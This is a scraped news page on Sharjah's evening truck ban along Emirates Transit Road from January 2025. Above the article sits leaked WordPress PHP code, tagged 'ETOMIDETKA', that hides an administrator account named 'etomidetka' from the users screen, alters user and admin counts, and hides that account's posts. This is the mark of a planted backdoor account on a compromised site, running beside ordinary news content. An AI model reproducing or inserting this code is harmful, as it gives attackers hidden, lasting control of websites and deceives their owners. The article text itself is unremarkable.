//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Sharjah Enforces Evening Truck Ban from 2025
Connect with us

News

Sharjah Enforces Evening Truck Ban from 2025

Published

3 weeks ago

on

Sharjah Enforces Evening Truck Ban from 2025

Sharjah Enforces Evening Truck Ban from 2025. Starting January 1, 2025, Sharjah Road and Transport Authority (RTA) will enforce new restrictions on truck movement along Emirates Transit Road during peak evening hours.

Trucks will be prohibited from using the stretch between the Sharjah entry point and Intersection No. 7 between 5:30 PM and 8:00 PM, a measure aimed at alleviating traffic congestion and ensuring smoother commutes for residents and travelers.

This announcement, made on December 31, 2024, underscores Sharjah’s commitment to enhancing road safety and traffic management, particularly during high-traffic periods when commuters face delays due to heavy vehicles.

Collaborative Traffic Solutions Across the UAE

Sharjah initiative aligns with a similar policy introduced by Dubai authorities. Dubai regulation restricts truck movement along Emirates Road from Al Awir Street to the Sharjah border during the same evening hours, starting on January 1, 2025.

This coordinated approach reflects the UAE broader strategy to address traffic challenges in a rapidly growing urban landscape.

Key Objectives of the Truck Ban

  • Reduced Traffic Congestion: The restriction is designed to ease the burden on key transit routes during the busiest hours of the day, improving travel time for passenger vehicles.
  • Enhanced Road Safety: Limiting heavy vehicle movement during peak times reduces the likelihood of accidents and creates a safer driving environment for all road users.
  • Environmental Benefits: Smoother traffic flow helps minimize idle time and fuel consumption, contributing to reduced emissions and a greener environment.

Additional Measures to Support Commuters

To ensure the success of this initiative, authorities may introduce:

  • Alternative Routes for Trucks: Designated paths outside of peak hours to maintain logistics operations without affecting commuters.
  • Increased Monitoring and Enforcement: Deployment of surveillance systems and patrol units to ensure compliance with the new regulations.
  • Public Awareness Campaigns: Educating drivers and logistics companies about the changes and their benefits to foster cooperation.

Why This Move Matters

The UAE is experiencing rapid urban development, resulting in an increase in vehicular traffic across major cities. Measures like the evening truck ban on Emirates Transit Road are critical for sustaining economic growth while improving the quality of life for residents.

Conclusion

The evening truck ban on Emirates Transit Road is a strategic step toward reducing congestion, enhancing road safety, and promoting sustainable transportation in the UAE. This collaborative effort by Sharjah and Dubai highlights the nation commitment to creating a smoother, safer commute, supporting both residents and economic growth.

Related Topics:
Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Trending